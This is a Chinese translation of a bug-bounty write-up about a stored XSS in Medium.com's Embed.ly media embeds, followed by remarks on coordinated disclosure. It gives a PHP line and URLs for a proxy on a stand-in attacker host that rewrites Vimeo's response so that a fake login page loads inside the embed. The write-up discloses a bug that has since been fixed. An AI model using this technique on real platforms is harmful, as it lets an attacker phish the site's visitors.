翻译自:https://medium.com/@jonathanbouman/stored-xss-unvalidated-embed-at-medium-com-528b0d6d4982
翻译:聂心明
你想参加私有众测?我很乐意邀请你,请联系我[email protected]
在我的上一篇文章中,你可以了解到很多关于反射型xss的。下面的这个攻击就可以欺骗用户去访问一个准备好的url。
但是如果我们把我们的JavaScript代码放入页面里面的话,会发生什么呢?
影响会非常巨大;没有特殊的urls,也没有XSS auditors打扰我的兴致。我们称之为存储型xss。你可能会记得,我们用这种攻击方式成功过一次;请看这篇文章
不断的搜索目标,这样才能帮助我们找到更多的漏洞。那么Medium.com?Woohoo!他们家也有很棒的应急响应中心
我非常喜欢用这个平台写文章。它的设计整洁,没有广告,而且它非常棒。真心非常喜欢它。
我今天非常荣幸的登上了他们的名人堂
https://medium.com/humans.txt
Medium所做的事情就是存储信息,然后再把这些信息分享出去。我们寻找一种方式把我们的代码放进文章里面,并且让他执行起来。所以我们来看看他们的故事编辑器。
这个编辑器支持多种类型的内容;纯文本,图像和媒体文件。
通过嵌入媒体文件,可以丰富你的故事。比如,加载外部的视频,展示你推特主页上的个人信息。你只需要在编辑器上点“+”,粘贴上url,再点一下回车,你就看到魔法的发生。这种魔法叫oEmbed.
如果你有一个像Medium.com一样的平台,并且你想支持所有的类型。这就意味着你要手动操作白名单来限制外部的网站,同时还要保证插件的安全,适配插入的数据,和保持插件的拓展性。
这些事情都不是很容易的,但是,Medium.com把它做成了一个产品,Embed.ly
Mmm,如果我们变成一个供应商,在里面放入恶意的代码呢?超棒,通过插入代码马上就可以在博文中注入代码。
让我们做一个假的登录页面来作为poc吧。
屏幕后面究竟发生了什么样的事情呢?首先,看一下它们的文档,看看他们支持什么样的数据格式
所以,这就意味着,我们恶意网站中内容必须包含合适的oEmbed标签?想想如果网页中包含了oEmbed标签,那么这个标签中内容就是一个视频播发器,但是要如何无声的加载一个假的登录页面呢?
没有那么快的,朋友。假的登录页面页面会在目标网站上被渲染成为一个包含标题,描述,域名的盒子。下面是它的布局:
仅仅有权限的人才被允许嵌入它们的魔法。我听见你说:“好吧,那我就成为一个提供商吧”。但是不幸的是,想要申请成为一个提供商就意味着我们需要一点社会工程学的技巧。Medium.com是不允许通过这样的方式来找到漏洞的。
让我们打开Medium的编辑器,如果我们尝试插入 vimeo video,看看浏览器做了什么事情。因为Vimeo在白名单中,所以这个视频应该可以被成功的插入,然后我们需要了解更多关于Embed.ly内部的工作原理。
重点关注的是Embed.ly给每一个嵌入的资源创建了一个mediaResourceId。这个mediaResourceId是url的MD5,这是一个明智的举动,可以让后端把结果缓存起来。如果有人已经引用过该资源,那么Embed.ly服务器马上就可以从缓存中把这个资源取出来。
Medium使用博文中的mediaResourceId去引用指定的资源,博文中不会存储相关的html数据。
所以,我们要前欺骗Embed.ly,让它给我们的钓鱼页面创建一个mediaResourceId。而且Embed.ly要通过mediaResourceId来在一个框架中显示我的钓鱼页面。
让我们看看,如果我们试图创建我们自己的mediaResourceId会发生什么
不成功。难道要添加一些 oEmbed或者Open Graph的标签才能把钓鱼页面以播放器的形式嵌入进博文吗?不走运的是,我尝试了几乎所有的方法,还是不行。
所以我必须想想其他的方法。
通过截屏5,我们可以知道,Embed.ly可以嵌入来自Vimeo的视频,并且可以为视频加载视频播放器。
GET /widgets/media.html?src=https%3A%2F%2Fplayer.vimeo.com%2Fvideo%2F142424242%3Fapp_id%3D122963&dntp=1&url=https%3A%2F%2Fvimeo.com%2F142424242&image=https%3A%2F%2Fi.vimeocdn.com%2Fvideo%2F540139087_1280.jpg&key=b19fcc184b9711e1b4764040d3dc5c07&type=text%2Fhtml&schema=vimeo
解码后
GET /widgets/media.html?src=https://player.vimeo.com/video/142424242?app_id=122963&dntp=1&url=https://vimeo.com/142424242&image=https://i.vimeocdn.com/video/540139087_1280.jpg&key=b19fcc184b9711e1b4764040d3dc5c07&type=text/html&schema=vimeo
如果我们进行一次中间人攻击,并且假装自己是Vimeo的话,那么是否可以成功?这样我们就可以改变Vimeo的返回报文,来去加载我们自己的登录页面了。搜索指向vimeo的字符串https://player.vimeo.com/video/142424242
,把它改成https://evildomain.ltd/fakelogin
,这听起来不错。
//Parse the DOM
上面添加$responseBody = str_replace("https://player.vimeo.com/video/142424242", "https://evildomain.ltd/embedly/fakelogin.html", $responseBody);
https://evildomain.ltd/embedly/proxy.php?https://vimeo.com/142424242
https://evildomain.ltd/embedly/proxy.php?https://vimeo.com/142424242
以获取到详细信息,我们向他们发送一个与Vimeo相同的报文,但是在播放器中只包含了我们的钓鱼页面。你可能还记得上一篇关于 IKEA的文章;一起合作披露这一切会花费一些时间。今天我们在Medium.com遇到了相同的问题。
这个问题正在被讨论;在联系到他们的工程师之前,我收到了十一封电子邮件。当我们开始讨论的时候,我们迅速的找到最开始的bug,并且把它解决掉了,但是它们的缓存服务器里面还留着恶意的payload,。之后Medium清理了恶意的缓存。之后我公开了这篇文章。整个过程花了86天。
在2018年10月4日,荷兰政府为cvd公开了一份新的守则。这个新守则修正了2013年发布的漏洞报告披露守则。他们把名字从漏洞报告披露守则改为有序漏洞披露。主要的原因是因为,他们想把主要的精力放在清晰的交流和互相的协作方面。
让漏洞报告者和技术工程师进行直接交流是cvd的初衷。作为最后的选项:完全披露,现在也在守则中有所提及
cvd的核心思想是减少漏洞,如果感觉修复流程持续的太久,那么漏洞可以被完全披露。对于报告方来说这种措施可以督促厂商修复漏洞。很自然的是,这种情况应该尽可能的被阻止。
想到IKEA那篇文章时,我觉得我应该试图去避免这种情况的发生。
从这篇报告中我学到一课,就是,虽然公司也有自己的cvd流程,但是我们也需要在解决漏洞的过程中保持耐心。
对于公司来说,让漏洞报告者更容易的接近工程师是非常重要的,这可以帮助漏洞工程师一起协作修复漏洞,并且可以及时更新报告内容。这也会互相节省大量的时间。
我发现一种方式可以在博文中存储我自己的html和JavaScript代码,当受害者的浏览器访问到我发在Medium上的文章时,就会执行我存储在博文上的代码。我通过中间人攻击来操作oEmbed标签,从而达到在页面上存储恶意代码的效果。
我们注入的JavaScript只能运行在Medium.com的页面框架中,这就意味着虽然我们的JavaScript被注入到页面之中,但是我们不能访问Medium.com的cookie,或者操作父页面上的dom。这样的话,这个漏洞的危害程度进一步减小。
可是这个漏洞依然可以导致很多危害。一个普通的访客是不可能区分正常的登录页面和一个钓鱼页面的。
我还忘了哪些呢?请给我留言